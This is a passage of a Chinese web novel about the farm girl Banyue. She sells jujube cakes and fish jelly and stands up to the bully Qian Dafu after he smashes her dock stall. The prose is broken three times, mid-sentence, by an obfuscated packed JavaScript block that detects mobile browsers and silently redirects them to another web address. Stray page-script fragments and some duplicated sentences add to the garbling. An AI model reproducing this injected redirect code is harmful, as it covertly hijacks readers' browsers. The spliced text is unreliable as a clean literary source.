每一圈都转到头才换下一圈,刷完了还拿起来对着灶头火光看了看,确认没留沫子,才搁到木架上。 刘翠兰在旁边看了一阵,没再骂,嘴上却没停:“刷完了把灶台擦干净,抹布拧干了再擦,别弄得满灶台都是水。你袖子湿成那样,一会儿换下来晾着,明天没干可别找我要衣裳。” 沈金宝“嗯”了一声,低着头继续刷碗:“知道了,婶子。” 月光从灶房的小窗照进来,落在沈金宝的侧脸上,他刷碗的动作还是很生疏,但没有再打碎第二只。 月光从灶房的小窗照进来,落在沈金宝的侧脸上。他刷碗的动作还是很生疏,但没再打碎第二只。 半月站在门口看了一小会儿,心想:这个过惯了锦衣玉食生活的纨绔,还真愿意低头刷碗。她眼里头漾出一点笑意,转身回了屋子。 第二天一早,半月出门的时候,沈金宝正在院子里劈柴。 他蹲在院子角落里,斧头搁在脚边,柴火散了一地。他弯着腰,双手握住一根木柴,拿膝盖顶着,用斧头一下一下地砍。 动作很慢,每一下都要瞄半天,砍下去的力道也不对,柴没劈开,倒是崩出不少碎屑。肿着的左脚搁在一块旧木板上,不敢使劲。 晨光从院墙那头照过来,把他额角的汗珠映得发亮。已经劈了小半个时辰了,劈好的柴没几根,地上的碎屑倒是一大堆。 半月站在屋门口看了片刻,心想:这人脚还没好利索,倒晓得自己找活儿干,不算太懒。 她走过去,从地上捡了根劈好的柴看了看,断面歪歪扭扭的,不像劈开的,倒像啃开的。 沈金宝抬头看了她一眼,拿袖子蹭了一下额角的汗,撇嘴说:“看什么看,柴劈得不好看,一样能烧。” “对。”半月忍着笑,挎上竹篮出了门。 半月走后不久,刘翠兰从灶房里出来,看了一眼那堆歪歪扭扭的柴,又看了看沈金宝还在跟一根粗柴较劲。这根柴有碗口粗,他劈了七八下,连条缝都没劈出来,倒把垫在底下的木板震裂了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511806|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 刘翠兰走过去,把锄头往他旁边一搁:“别劈了,再劈下去我院子里的柴没堆起来,斧头倒让你劈卷了刃。” 沈金宝抬起头,愣了一下。 刘翠兰已经扛起另一把锄头往院门口走了,声音飘回来:“家里的地该翻了,你脚不好,干不了重活,帮着捡捡石头、拔拔草总行吧。把斧头靠墙放好,快点跟上来。” 沈金宝“嗯”了声,拄着木拐站起来,放好斧头,扛起锄头一瘸一拐地跟了上去。 刘翠兰走在前面,步子不快不慢。 她心里有杆秤。她下地后,万一胖丫回来的早,就她和远房“表哥”在院子里,让左邻右舍看见了,指不定传出什么闲话来。把沈金宝带在身边,最省事。 半月到了镇上,先去鱼摊。鱼贩子马叔正蹲在摊后刮鱼鳞,看见她过来,手没停,抬头招呼了一声:“胖丫头来了!”他拿刀背往木盆沿上磕了磕,从盆底下拖出个竹筐,里面是专门给她留的鱼脊骨和碎肉,堆得冒尖。 “今天多给你留了些,你看看能用不。昨天有个老汉也想要,我说这有人定了,差点跟我吵起来。” 半月蹲下来翻了翻,脊骨新鲜,碎肉上连着的鱼鳍油脂还没干。她笑着点头:“能用,都很新鲜,谢谢马叔了。”说完又挑了一条大草鱼、两个大鱼头。 马叔一边刮鳞一边问:“今儿要得多,买卖好?” “还行吧,多备一些。”半月笑了笑,没细说。 她又绕到豆腐摊,孙大娘正往木盆里添水,看见她就把包好的三块豆腐递过来:“早给你留好了,我压在盆底下,没人动。”半月道了谢,付了剩下的钱,又顺道买了些调料。 竹篮比来时沉了不少,半月吃力提着往回赶。 半月回到家,灶房里的火已经灭了,院子里静悄悄的。刘翠兰和沈金宝还没回来,只有那堆劈好的柴歪歪斜斜靠在墙根。 半月重新生着火,把鱼货拎进灶房。鱼头剖开洗净血水,脊骨剁成段,鱼鳍剔下鱼油,豆腐切成小方块用凉水泡着。 灶上的锅热了,她把鱼骨、鱼油下锅,加入姜片、葱段、花椒煸炒,然后加水,大火烧滚,转小火慢慢熬。灶房里很快就弥漫起一股鲜味,混着姜的辛辣,直往鼻子里钻。 汤咕嘟咕嘟地滚着,半月蹲在灶前添柴,脸上被火光烤得发烫。 她站起来,眼神无意扫到灶房角落那筐大枣。这么一大筐鲜枣,吃也吃不完,送也送不掉,再放下去就坏了。 半月正对着枣筐走神,院门被推开了。 刘翠兰扛着锄头进来,后面跟着沈金宝。他也扛着锄头,动作生硬,像扛根烧火棍,裤腿上沾着泥点子,脸上晒得发红,额角的汗还没干。 他一瘸一拐地走到墙根,把锄头放下,在石阶上坐下来,长长地舒了口气,拿袖子擦了把脸。 半月瞥了他一眼,心中讶异:这人还跟着娘去地里干活了? 半月和刘翠兰打了招呼,提着枣框往外走。 刘翠兰擦了把头上的汗问:“胖丫,你往哪儿去?” 半月停下来:“枣子还没处理,再放就该坏了,我搁院子里吹着,看能不能弄成干枣。” 坐在石阶上的沈金宝忽然开口:“真笨!” 14. 蜜糖枣糕 “把枣子做成点心啊,晾干枣能卖几个钱?做点心直上一个台阶。” 半月侧头看沈金宝。 他用懒洋洋的调子接着说:“枣糕,枣泥馅,面皮薄,蒸出来软糯,好放。” “镇上糕饼铺有卖的,但没几家做得好。不是皮太厚就是馅太干,枣泥还发苦。你试试,这东西比鱼冻好卖,拿油纸一包,不用碗,拿了就走。” 半月想了想,觉得有道理。鱼冻得用碗装,码头上吃还行,镇上的女人们买回去还要腾盘子,确实不如枣糕方便。 “可光放枣不够甜。”半月蹙眉。 “加红糖,没红糖就放点麦芽糖,吊甜味呗。”沈金宝随口说。 “我没买红糖和别的糖,糖也太贵了,还是算了吧。做出来不好吃,还不如不做。”半月把枣筐放下,打算继续想干枣的事。 刘翠兰在旁边听着,表情纠结,最后叹口气,转身从碗柜最里头翻出一小罐麦芽糖来:“上回你受伤,你姥姥送来的,一直没舍得吃。”她把罐子往半月手里一塞,心疼得直嘬牙花子。 “这东西金贵着呢,你省着点用,用不完的给我收好了,别让冬生看见,那小子知道了准偷吃。” 半月接过罐子,揭开盖子。里面的糖虽然不多,但黄澄澄的,黏在罐底,散发着淡淡的甜香。她凑近闻了闻,喉头动了一下。 “别闻了。”刘翠兰把罐子盖按回去,“用的时候再开,闻一下也是浪费。” 半月忍不住笑了:“娘,闻一下又不碍事。” “谁说闻一下不碍事,都是味,跑了也是少。” 灶上的鱼汤还在咕嘟咕嘟地滚着,锅盖掀开一角,白气直往上冲。 半月让刘翠兰帮忙看着火,她把干枣倒进盆里,用温水泡上,开始揉杂粮面。 沈金宝坐在灶房门口的石阶上,拿了把豁口的小刀削一根木棍,说是削好了当擀面杖用。他虽然嘴上吊儿郎当,手上的活儿倒没停,削下来的木屑堆在脚边,慢慢堆成了一小撮。 “削得够不够圆?”他把削好的木棍递进来,半月接过去在手里转了转,表面光滑,粗细合适。 “还行。” “还行?我削了小半个时辰。” “那挺好。” 沈金宝哼了一声,又坐回去继续削第二根。 把枣洗干净后,半月一个一个剥去核,搁进小锅里加水煮烂。煮好的枣泥用勺子碾碎,拌了半勺麦芽糖进去,尝尝味道,甜了,又兑了点水。 面也醒好了,她拿沈金宝削好的木棍当擀面杖,把面皮擀得薄薄的,包上枣泥,捏成小饼形状,码在蒸笼里。灶上的大火烧开了,蒸笼架上去,盖上锅盖。 “要蒸多久?”刘翠兰问。 “一炷香的工夫。”半月蹲下来添了把柴。 锅盖缝隙里开始冒出白气,枣香味越来越浓,把鱼汤的鲜味都盖过去了。那股甜香混着麦芽糖特有的焦甜,随着白气从灶房飘到院子里,连墙头的麻雀都往这边跳了几步。 沈金宝坐在灶房门口,手里的刀子停了,时不时往蒸笼那边看一眼。 一炷香到了,半月掀开锅盖。白气涌上来,枣糕在蒸笼里鼓鼓囊囊的,面皮薄得能看见里面深褐色的枣泥,表面泛着一层油润的光。 她拿筷子夹出一块,放在碟子里晾了晾,掰了一小块塞进嘴里。软糯,甜而不腻,枣泥的香味在嘴里化开,麦芽糖的甜味刚刚好,不齁嗓子,舌尖上还留着一股枣子本身的清香。 她又掰了两块,一块递给刘翠兰,一块递给沈金宝。刘翠兰尝了一口,瞪大眼睛:“这个好!比镇上杂货铺卖的好吃!杂货铺那个面皮厚得跟鞋底似的,你这个薄,枣泥又足。” 沈金宝咬了一口,嚼了两下,点了点头:“还行。甜味够了,不用再加糖。枣泥还能再煮烂一点,现在还有点碎枣皮。” “就你嘴刁。”半月又给了他一块,“吃着别人的还挑刺。” “不挑你怎么进步。”沈金宝接过第二块,三口就吃完了。 晚上李冬生放学回来,还没进院子就闻到香味了。他把门一推,书袋往地上一扔就冲到灶房:“这是什么味!胖丫你又做什么了!” 不等半月回答,他抓起一块枣糕就往嘴里塞,烫得嘶嘶吸气也不肯吐出来,含糊不清地喊:“好吃好吃好吃!” 刘翠兰在他后脑勺上拍了一下:“洗手!下了学手都没洗就往嘴里塞,也不怕拉肚子。” 李冬生嘿嘿一笑,跑去洗了手,又跑回来。这回吃得慢了些,一边嚼一边说:“胖丫,这个拿去卖,肯定比鱼冻好卖!你给我多留两块,明天我带到学堂去,让王大宝他们馋馋。” “娘说了,就这么几个,你别想偷吃。”半月把剩下的枣糕往案板里头挪了挪。 李冬生眼巴巴地看着,咽了口口水:“我就闻闻不行吗。” 半月噗嗤笑了:“别皮了,给你留两个,今儿个不准再偷吃了!” “诶!”李冬生响亮地应了一声,转身就跑,生怕半月反悔似的。 毕竟头回试着做,半月没敢弄太多。除开一家人吃掉的和预留的几块,还剩十五个,圆滚滚地码在案板上,面皮薄得透光,能隐约看见里面深褐色的枣泥馅。 半月把它们一个一个码进食盒里,盖上盖子,心想:应该会好卖吧。 次日清晨,半月把鱼汤装好,鱼冻切好码在木盆里,调料单独用罐子装着,枣糕则整齐地码进食盒。东西太多,一个人拿不了,刘翠兰便说要和她一道去镇上。 到了镇上,两人分头行事。刘翠兰留在码头支摊卖鱼汤和枣糕,半月则包了几块枣糕,带上鱼冻,往醉仙楼去了。 到了醉仙楼,偏门开着。半月小心翼翼地走到后厨门口,小二看见她,脸上闪过一丝不自然,眼神往旁边飘了飘,才说了一句“等一下”,转身进去叫周掌柜。 半月站在门口等着,手里端着食盒,手心有点潮。 周掌柜出来的时候,脸上的笑不像前两次那么柔和了。他看了半月一眼,又看了看她手里的鱼冻和那包枣糕,没有伸手接。 “胖丫头,有件事我得跟你说一声。”他抬了抬眼皮,语气客气,但远了几分,“你这鱼冻,以后别送了。” 半月心里“咯噔”一下,但她脸上还是撑着笑:“周掌柜,是东西不好吗?还是价钱不合适?您说,我可以调。嫌贵了可以降一文,嫌淡了我再加一道料汁。” “都不是。”周掌柜叹了口气,左右看了看,压低声音。 “昨儿钱少东家来了,话里话外的意思……你也别怪我不讲信用,胖丫头。我们做小本生意的,得罪不起钱家,你这鱼冻是好东西,可我不能为了几文钱的买卖,把酒楼搭进去。钱家手指缝里漏一点,我这店就得关门。” 半月稳住了面上的表情,但攥竹篮的手却紧了紧。 她张了张嘴,一时不知说什么好。看来那姓钱的,果然像沈金宝说的那样记仇。周掌柜说得也没错,他一个小酒楼的掌柜,犯不着为她得罪钱大富。 “那剩下的订金……” “订金你拿着,不用退了。”周掌柜摆摆手,转过身去,背对着她,“鱼冻也带回去吧,用不上了。你……往后也别来了,免得让人看见又传到钱少爷耳朵里。” 半月看着他的背影,沉默了一会儿。 她从袖子里摸出那一小锭碎银子,搁在案台上,又把带来的鱼冻、枣糕一样一样收进竹篮里。手上动作很稳,碗碟没碰出一声响。 “周掌柜。” 周掌柜回过头,看见案台上那锭碎银子,愣了一下。 “东西我带走,钱退给您。”半月把竹篮挎上胳膊,“您不收我的货,我也不能白拿您的银钱。一码归一码。” “丫头,你这……”周掌柜伸手想拦,半月已经退后了一步。 “您收着,这些东西我拿去码头卖,总能卖出去,就不给您添麻烦了。” 说完,她挎着竹篮,转身往外走。偏门的门槛有些高,她跨过去的时候绊了一下,竹篮在门框上磕了一下,她站稳了,头也没回。 周掌柜看着她的背影,又看看案台上的碎银子,愣了好一会儿,才伸手把银子拿起来,捏在掌心里翻了个个儿。 “这丫头,有骨气。”他把银子搁进抽屉里,又叹了口气,“可太倔了,也不一定是好事。” 半月出了醉仙楼,在巷口站了片刻。日头明晃晃地照着,街上人来人往,卖菜的挑着担子吆喝,布庄门口有两个妇人在挑花布,谁也没注意她。 她心里像压了一块石头。鱼冻退了,枣糕也没派上用场,食材的钱已经花了,一百文订金还回去后,手头就剩十几文了。要是不把这些东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514425|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西卖出去,连明天的鱼汤材料都买不起。 她重重吐出一口气,把竹篮换了个手,快步往码头走。 码头上,刘翠兰正守着摊子。一张粗布铺在地上,两个大瓦罐并排放着,里面的鱼汤还冒着热气。枣糕码在旁边的油纸上,圆滚滚的摆了两排。 她正招呼一个扛活的汉子,舀了一碗汤递过去,收了人家一文钱,一抬头看见半月,笑着招手:“怎么这么快就回来了?东西卖完了?” 半月把竹篮放下,避开刘翠兰的目光,蹲下来把鱼冻往粗布上摆,声音尽量放平静:“今天镇上那边生意不好,一份也没卖掉。” 刘翠兰愣了一下,手里舀汤的勺子停在半空:“啊?昨儿不还好好的吗?” “就……我也不知道怎么回事。”半月含糊应了一声,把鱼冻码得整整齐齐,又把那碟试吃的小块摆在前头。 刘翠兰看着女儿低头忙活的侧脸,嘴角那个笑挂得有点僵。 她没追问,把勺子往瓦罐里一搁,拍了拍围裙,换成一副乐呵呵的口气:“嗨,没卖掉就没卖掉,咱接着在码头上卖就是了。码头这么大,还怕没人买?就算卖不掉,咱自个儿拿回去吃也是一样的!你爹昨儿还念叨你做的鱼冻呢。” 半月被她说得心里一暖,脸上也带上了笑,点了点头。 刘翠兰蹲下来帮她摆摊,嘴上絮絮叨叨地说:“多摆几块在前头,把料汁淋上看着鲜亮…”心里却直打鼓,鱼汤、鱼冻、枣糕,这一大摊子东西,光靠码头上这些扛活的汉子,能卖得完吗? 日头越升越高,码头上扛活的工人换了一拨又一拨。鱼汤卖得还不错,就剩小半罐了。枣糕也有人问,一个挎菜篮子的妇人尝了一块,买了两块走,说带回去给孩子吃。 唯独鱼冻,问的人多,买的人少。 “两文钱一份?太贵了,一文钱还差不多。”一个中年汉子听了价钱,摆摆手走了。 另一个尝了试吃的小块,嚼了两下,眼睛一亮,连声说好吃。一问价钱,还是把铜钱收回了怀里:“你们这玩意儿不顶饿啊,两文钱不如买个饼子吃。” “好嘞,您遇见合适的再买。”半月笑着送客,转过头来,眉头却蹙了起来。她不是没想过回醉仙楼那边卖,可拉不下那个脸,也怕连累周掌柜。人家已经说了“往后别来了”。 刘翠兰在旁边急得直搓手,凑到半月耳边压低声音说:“要不便宜点?一文钱一份,能卖多少是多少,总比全砸手里强。” “不行,两文钱几乎已经是成本价了,再便宜就只能亏本。”半月摇头。 刘翠兰叹了口气,没再劝。她看着那盘码得整整齐齐的鱼冻,琥珀色的冻子在日头底下微微发颤,好看是真好看,可就是没人掏钱。 正忙活着,半月余光瞥见三个人影从码头那头晃过来。打头的那个挺着肚子,一身绸衫在日头底下反光,身后跟着两个小厮,一左一右,拨开人群往前走。 钱大富! 半月的眼皮跳了一下,手上舀汤的动作停住了。 钱大富在鱼汤摊子前站定,低头扫了一眼地上的粗布和瓦罐,嘴角一撇,拿手在鼻子前面扇了扇,像是闻到了什么不干净的东西。 “哟,胖丫头,在这儿卖呢?”他阴阳怪气地笑了笑,“怎么不去醉仙楼?” 半月没接话,把勺子搁进瓦罐里,站直了身子。 刘翠兰不知道这人是谁,但看这身绸衫和身后两个跟班的派头,心里已经慌了,悄悄扯了扯半月的袖子,小声说:“胖丫,这谁啊?” 半月还没开口,钱大富先出了声。他背着手踱了半步,嘴角一挑:“怎么,才几天不见,就不认识本少爷了?” 半月没理他,弯腰去收摊上的东西。 钱大富见半月不理他,脸上的笑挂不住了。他往后使了个眼色,一个小厮走上前,一脚踢在瓦罐上。 钱大富见半月不理他,脸上的笑挂不住了。他朝身后的小厮使了个眼色,那小厮走上前,一脚踢在瓦罐上。 “哐当”一声,瓦罐翻了,鱼汤泼了一地,白花花的汤水混着豆腐丁和碎鱼肉,淌满了粗布,把旁边摆的枣糕也浸了半边。瓦罐骨碌碌滚了两下,“啪”地碎成几瓣,一块碎瓷崩到刘翠兰脚边。 刘翠兰吓得往后退了两步,脸都白了,嘴唇哆嗦着:“你、你们这是做啥子!” 15. 摊位被砸 半月把刘翠兰护在身后,抬头看向钱大富,眼神冰冷。 “你什么意思?” 钱大富耸了耸肩,一脸无辜:“小厮脚滑了,不小心踢的。” 他低头看了看地上,啧啧两声:“可惜了,不过这种脏东西,本来也只配倒在地上喂野狗。码头上的野狗呢?怎么不来舔?” 旁边几个码头工人停下脚步,看着这边,面带怒意却没人敢吭声。钱家在镇上和县城都有粮铺、当铺,得罪不起。 “还有这个呢。”钱大富又朝另一盘鱼冻抬了抬下巴。 另一个小厮走上前,端起那盘码得整整齐齐的鱼冻,“啪”地摔在地上。浅口碟碎了,鱼冻摔成了烂糊,料汁溅了半尺远。琥珀色的冻子混着碎瓷片,一地狼藉。 半月攥紧了拳头,指甲掐进肉里。 刘翠兰一把拉住她的胳膊,手指都在发抖,声音压得又低又急:“胖丫,别、别惹事,咱忍忍……你上次挨板子,娘守了你一个多月,你要是再有个好歹,娘这条老命也不要了……”说着眼眶就红了。 “忍?哈哈哈……”钱大富笑了,笑得脸上的肉直颤。 他伸手指着半月鼻尖:“听见没?你娘叫你忍。这才对嘛,你们这种下等贱民,不忍还能怎样?还能咬我不成?” 半月挺直脊梁,没有躲,更没有低头,只冷冷看着钱大富。 钱大富嗤笑一声,一脚踩在半月面前的粗布上,他压低了声音,语气像在逗弄一只小猫小狗:“胖丫头,我跟你说过,离那个姓沈的远点。你不听,还和小爷顶嘴!仙楼不收你的东西,码头你也别想摆下去。想继续卖鱼汤?” “行啊,跪下给小爷道个歉,小爷高兴了,赏你几两银子,比你在这儿蹲一天挣的还多!”钱大富站直身体,居高临下地看着半月,脸上挂着志得意满的笑。 码头上安静得能听见河水拍岸的声音,围观的人越聚越多,里三层外三层的,有人踮着脚往里看,有人交头接耳地嘀咕。 “这也太欺负人了……” “欺负人怎么了?人家是钱家少爷,你能拿他怎样?” 围观的人虽然站在半月这边,但没有一个人敢站出来说句响话。 半月看着钱大富,轻扯了一下嘴角,声音清脆:“钱少爷,你砸了我的摊子,打碎了我的瓦罐和盘子,糟蹋了我二十份鱼冻、一锅鱼汤、八块枣糕。这些东西,你得赔。” 钱大富愣了一下,像是没听清楚:“你说什么?” “我说你赔钱!”半月一字一顿,声音稳稳的。 “鱼骨豆腐汤,一文钱一碗,那一锅能盛二十碗,算你二十文。枣糕两文一块,八块十六文。鱼冻两文一份,二十份四十文。瓦罐十八文,盘子十文,一共一百零四文!” 旁边围观的人又开始小声议论,一个年纪大的老者摸着胡子说了一句:“这丫头帐算得真快。” 钱大富脸涨红了,腮帮子上的肉抖了两抖:“你、你算什么东西?也敢跟小爷要钱?你知不知道这条街上有几家铺子是姓钱的?” “你要是不赔,我现在就去衙门击鼓鸣冤。”半月弯下腰,从地上捡起一片碎瓷,举到钱大富面前。 “大宁朝律法,毁人财物者,照价赔偿。你是钱家少东家,大庙镇乃至黄龙县有头有脸的人物,闹到公堂上,我可不怕丢人——你怕不怕?” 钱大富的脸色变了,他朝半月逼近一步,肥硕的身子挡在她面前,恶狠狠地说:“信不信小爷连你一起砸了?一个乡下丫头,还敢跟小爷讲律法?你告啊,衙门是你家开的?小爷一句话,让你连衙门门槛都迈不进去!” 半月没退,抬头直视着他。她心里其实也在打鼓,攥着碎瓷的手指微微发颤,但面上不肯露怯,脊背挺得笔直。 “钱少爷,今天这事,从头到尾大家都看着。”她把碎瓷举高了些,让周围的人都看得见,“你不赔钱,以后这码头上,谁还敢跟你们钱家做生意?你爹知道了,怕也不会高兴。” 话音刚落,一个扛包的汉子把肩上的麻袋“咚”地搁在地上,站了出来:“钱少爷,你仗着有钱欺负人,这可不地道。人干干净净的好东西,你凭什么给人家摔了?” 卖豆腐的孙大娘也从人群后头挤进来,手里还拿着舀豆腐的铜勺,:“就是!人家小姑娘靠自己手艺吃饭,碍着你什么了?” “赔钱!赔钱!” 码头上的声音一浪接一浪。扛活的扔了扁担,挑担的搁了箩筐,摆摊的从摊子后头站了起来,三三两两围了一圈。那个先前嫌贵的汉子也在里头,往前挤了两步,瓮声瓮气说了句“欺负人欺负到家了”。 钱大富嘴角抽了抽,他没想到这些平日里见了他就点头哈腰的穷鬼,这时候居然敢站出来跟他作对。 他爹最忌讳的就是他在外头惹事坏了钱家的名声,上回在书院打架,他爹罚他跪了一宿祠堂。可当着这么多人的面,被一个胖丫头指着鼻子算账,他要是认了,这面子往哪儿搁? “你——!”钱大富指着半月的鼻子,手指头都在发抖。 他撸起袖子,往前迈了一步:“你等着!小爷今天非要好好教训你!” “钱大富!你敢动我闺女一下试试!” 那声音劈开人墙,炸雷似的砸过来。码头上的人自动往两边退,让出一条道。 李有福扛着扁担冲进来,扁担一头还挂着麻绳,跑起来甩得啪啪响。他身后跟着五六个码头工人,人手一根扁担,个个沉着脸,脚底板踩在石板地上咚咚响。 打头那个虎背熊腰的黑脸汉子,正是码头上的工头赵虎,他把扁担往地上一杵,人还没站稳,目光已经锁在钱大富身上了。 李有福冲到钱大富面前,把扁担横在身前,护住半月和刘翠兰。他脸色铁青,攥扁担的手指节发白,肩膀微微发着抖。 不是怕,是气的! “钱少爷,我闺女哪儿得罪你了?”他嗓门不算大,可每个字都像是从牙缝里挤出来的,“你砸她的摊子,还要打人?” 他往前逼了半步,扁担一头差点顶到钱大富胸口,钱大富本能地往后一缩。 “你动她一根手指头试试?我今天拼了这条命,也不让你走出码头!” 钱大富咽了口唾沫,往后退了半步,嘴上还在硬撑:“你、你一个扛沙包的,也配跟小爷说话——!” “配不配不是你说了算。”赵虎把扁担往肩上一搁,往前走了两步,挡在李有福前面。他比钱大富高半个头,居高临下地看着他,声音不急不慢,但压得人耳朵嗡嗡响。 “钱少爷,码头上摆摊的,有一个算一个,都是讨生活的苦命人,你一个有钱人家的少爷,跟人家小姑娘过不去,传出去可不好听。” 他顿了顿,回头扫了一眼身后那几个扛着扁担的工人:“再说了,这码头上几十号兄弟,都是我赵虎的人。你要在这儿动手,得先问问我这些兄弟答不答应。” 身后那几个工人齐刷刷把扁担往地上一杵,“咚”的一声闷响,石板缝里的灰都震起来了。 一个精瘦的年轻工人往前迈了半步,扁担斜扛在肩上,冲钱大富扬了扬下巴:“虎哥,跟他废什么话,他敢动李叔闺女一下,咱就让他尝尝扁担炒肉是啥味儿!” 赵虎抬手拦了他一下:“别急,看钱少爷怎么说。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517325|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>钱大富脸上的肥肉抽搐了两下,额头上全是汗,汗珠子顺着腮帮子往下淌。他扫了眼李有福,又看了看赵虎,目光最后落在周围那些虎视眈眈的码头工人身上。 有抱胳膊的,有拄扁担的,有拿汗巾擦脖子的,一双双眼睛全盯着他,没一个躲闪的。 他喉咙里咕噜了一声,把撸起的袖子放下来,手指头有些发抖。 “行!你们行!仗着人多是吧?”他从袖子里摸出一块碎银子,盯着半月,往地上一扔。 银子砸在碎瓷片上,“叮”的一声脆响,骨碌碌滚到半月脚边。 “给你!够你买一车破罐子!” 半月弯腰把银子捡起来,在手里掂了掂。这银子少说值两百文,抵得上李有福小半个月的工钱。 她把银子收进怀里,拍了拍手上的灰,不紧不慢地说:“多的钱,算你赔的料汁和野葱钱。” 旁边有人“噗嗤”笑出了声。 “你——你等着!”钱大富指着半月的鼻子,却说不出更多狠话。 他转身就走,步子又急又乱,肚子一颠一颠的,绸衫后背湿了一大片,贴在肉上。两个小厮连忙拨开人群跟上去,头也不敢抬。 人群里有人喊了一声:“钱少爷,下次来记得带够银子啊!” 又是一阵哄笑,有人拍着大腿,有人吹了声口哨。 钱大富走得飞快,背影三拐两拐就消失在街口,再也没敢回头。 码头上恢复了平常的嘈杂,河水拍岸的声音又听得见了,货船靠岸的号子声远远飘过来。 刘翠兰蹲在地上,把碎瓷片一片一片捡到篮子里,她嘴唇还在哆嗦,眼眶红红的,使劲忍着没掉泪,捡了两片碎瓷,手抖得捡不起第三片。 她抬头看了半月一眼,嘴巴张了好几次,才憋出一句:“你这孩子,胆子也太大了……”说到最后一个字声音都劈了,她赶紧低下头,继续捡碎瓷。 李有福把扁担放在地上,蹲到刘翠兰旁边,接过她手里的篮子,帮着一起捡,他闷声念叨着:“有啥话回去说,在外面别吵吵。碎瓷捡干净没有?别扎着人。” 他嘴上说着别吵吵,可捡碎瓷的手也在微微发抖,刚才冲进来时那股子拼命的劲儿还没全消下去。 “娘,没事了,不用怕了。”半月蹲到刘翠兰另一边,伸手接过她手里那片碎瓷,冲她笑了笑,“鱼汤倒了明天再熬,瓦罐碎了我再买一个就是。” 刘翠兰瞪了她一眼,想骂几句,嘴唇动了动,到底没骂出来,只拿袖子擦了一下眼睛。 赵虎没走,他把扁担靠在旁边的树上,抱着胳膊看這母女俩收拾,等半月把地上最后一片碎瓷捡起来,他才开口:“胖丫头,刚才那一出,胆量不小啊。” 半月把竹篮放好来,看着赵虎,诚恳说了句:“赵叔,刚才多谢您和叔伯们了。” “谢啥?”赵虎摆了摆手。 “那姓钱的早该有人治治了,上回他在码头上调戏卖菜的王家媳妇,我们就想收拾他了,后来是他爹派人来说和,才压下去的。” 他打量着半月:“你爹在码头上扛活,老实巴交的,一句话憋不出三个屁来,倒养出你这么个能说会道的闺女。” 李有福闷声接了一句:“随她娘。” 刘翠兰正拿袖子擦眼睛,闻言抬头瞪了他一眼:“你倒是会说,刚才怎么不多说两句?”声音还带着鼻音,但那股子劲儿又回来了。 赵虎嘿嘿笑了两声,把扁担从树上拿下来往肩上一搁:“你这丫头,跟别的姑娘不一样。旁的姑娘见了钱大富那种人,早吓得腿软了,你倒好,还敢跟他算账,还搬出律法来。你念过书?” 16. 承接席面? “跟着弟弟学过几个字。”半月含糊地应了一声,没多解释。 赵虎点了点头,倒也没追问,看了看地上收拾好的竹篮和食盒,顿了一下:“胖丫头,你这账算得利索,胆量也有,不过你在这码头上做买卖,往后还会有别的事。以后在码头上摆摊,有啥事就来喊我,别自己硬顶硬扛。” 半月愣了一下,连忙点头:“诶,谢谢赵叔!” 赵虎摆摆手,大步走了。扁担在他肩上一颠一颠的,拐进码头的货堆后面,看不见了。 刘翠兰把弄脏的粗布收拾好,看了一眼地上那摊鱼汤印子,站起来叹了口气:“可惜了这锅汤,天不亮就起来熬的,行了,回去吧。” “嗯。”半月应了一声,把没弄脏的枣糕一块一块捡起来,用油纸重新包好。还剩九块,边角有点磕碰,这些不能再卖,但可以留着自己吃。她又把剩的半罐料汁盖上盖子,一样一样收进竹篮里。 母女俩刚要走,旁边有人喊了一声:“胖丫头!” 半月回头,是那个最先站出来说话的扛包汉子。他扁担搭在肩上,冲她咧嘴一笑:“胖丫头,明天还来不来?我买你家鱼汤,就爱喝你熬的那个味儿。” “来!”半月说。 旁边其他人也跟着应和:“我也来!我媳妇说了,你家鱼冻看着就好吃,明天我要买一份带回去!” “诶,好!”半月心里头一暖,弯了弯嘴角,转身快步跟上刘翠兰。 说完,她转身快步跟上刘翠兰。 李有福扛着扁担走在最后面,一路没说话,步子比平日里重了些。 经过刚才那个扛包汉子身边的时候,那人拍了拍他肩膀:“老李,你闺女是这个。”竖了个大拇指。李有福没说话,喉结滚了一下,把扁担换了只肩膀。 走出码头十几步远,李有福停下来,侧身对半月母女说:“你们先回去,我还有一船货要卸,晚上再回来。” 他看了看半月,又看了看刘翠兰,嘴唇动了动,像还有话说,最后只道:“回去路上当心点。” 刘翠兰点点头:“别太拼了,你腰不好,当心又犯毛病,晚上我让胖丫给你留饭。” “嗯。”李有福应了一声,扛起扁担,转身往码头深处走了。 半月和刘翠兰绕到集市,买了熬鱼汤的食材,鱼骨、豆腐、姜、野葱,又添了几斤杂粮面。刘翠兰一路都在念叨“够了够了别多买了”,半月却还是又称了半斤白米。刘翠兰瞪了她一眼,到底没拦着。 